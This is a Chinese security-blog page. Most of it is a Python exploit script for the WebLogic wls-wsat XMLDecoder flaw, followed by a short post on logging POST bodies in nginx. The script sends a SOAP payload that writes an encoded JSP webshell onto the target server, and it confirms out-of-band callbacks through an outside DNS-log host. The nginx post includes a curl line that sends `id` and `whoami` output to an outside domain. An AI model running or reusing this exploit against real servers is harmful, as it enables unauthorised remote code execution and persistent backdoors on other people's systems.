    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Cookie':'wp-settings-time-1=1506773666',
    'SOAPAction': "",
    'Content-Type':"text/xml"
    }
def check_shell(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x70;&#x61;&#x74;&#x68;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
    try:
        response = requests.post(exp_url, data=payload,headers=headers, timeout=60, verify=False,allow_redirects = False)
        if response.status_code == 404:
            return
        shell_url = ("{domain}/bea_wls_internal/bb1fe939c9ec5.jsp".format(domain=domain))
        rep = requests.get(shell_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if rep.status_code==404 and "path=" in rep.content:
            get_path = re.findall(r'path="(.*?)"',rep.content)
            if len(get_path)>0:
                print domain+"\tsuccess\t"+get_path[0]
    except Exception as e:
        print str(e)
        return False

def check_dnslog(host):
    verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action={action}&domain={host}"
    try:
        verify_rep = requests.get(verify_url.format(host=host,action='dnslog'),timeout=60, verify=False,allow_redirects = False)
        if verify_rep.content.find(host)!=-1:
            return True
    except Exception as e:
        return False
    finally:
        requests.get(verify_url.format(host=host,action='clearlog'),timeout=60, verify=False,allow_redirects = False)

def verify(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    newurlparse = urlparse(domain)
    host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
    try:
        resp = requests.get(exp_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if resp.status_code == 404:
            return
        response = requests.post(exp_url, data=payload.format(host=host),headers=headers, timeout=60, verify=False,allow_redirects = False)
    except Exception as e:
        print str(e)
        return
    if check_dnslog(host):
        print domain+"\tsuccess"
    else:
        check_shell(domain)

def main(host):
    if host.startswith('http'):
        domain = host
    else:
        domain = "http://"+domain
    verify(domain.strip('/'))

if __name__ == "__main__":
    import sys
    if len(sys.argv)>=2:
        main(sys.argv[1])
    else:
        print "python %s http://www.baidu.com" % (sys.argv[0])

nginx 接受post数据

发布时间:December 6, 2017 // 分类:开发笔记,工作日志,运维工作,linux // No Comments

开始使用的是apache.发现如果需要记录post数据还的使用其他的模块或者去hookapache来实现.后来发现nginx可以记录post数据

log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
             '$status $body_bytes_sent "$http_referer" '
             '"$http_user_agent" $http_x_forwarded_for';
  1. $request_body变量由nginx自身提供,用于记录POST请求日志

最后实现了可以获取post数据的内容

log_format  access  '$remote_addr  $remote_user  [$time_local]  $request '
             '$status  $body_bytes_sent  $http_referer   '
             '$http_user_agent $http_x_forwarded_for [$request_body]';

另外一个可以记录cookie和主机的

log_format  access  '$remote_addr  [$time_local]  $host $request $status $http_referer $http_user_agent $http_cookie [$request_body]';  

考虑下body_bytes_sent是不是可以不用
日志的地方

access_log  /data/logs/access.log access;

重启下nginx后测试

curl -d cmd=`id|base64` http://0cx.cc/\?cmd\=$(whoami) --refer $(id|base64) --user-agent $(id|base64)

抓取到的日志是

参考文档
Nginx 使用 lua-nginx-module 来获取post请求中的request和response信息
http://www.jianshu.com/p/78853c58a225
解决nginx在记录post数据时 中文字符转成16进制的问题
http://www.jianshu.com/p/8f8c2b5ca2d1

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...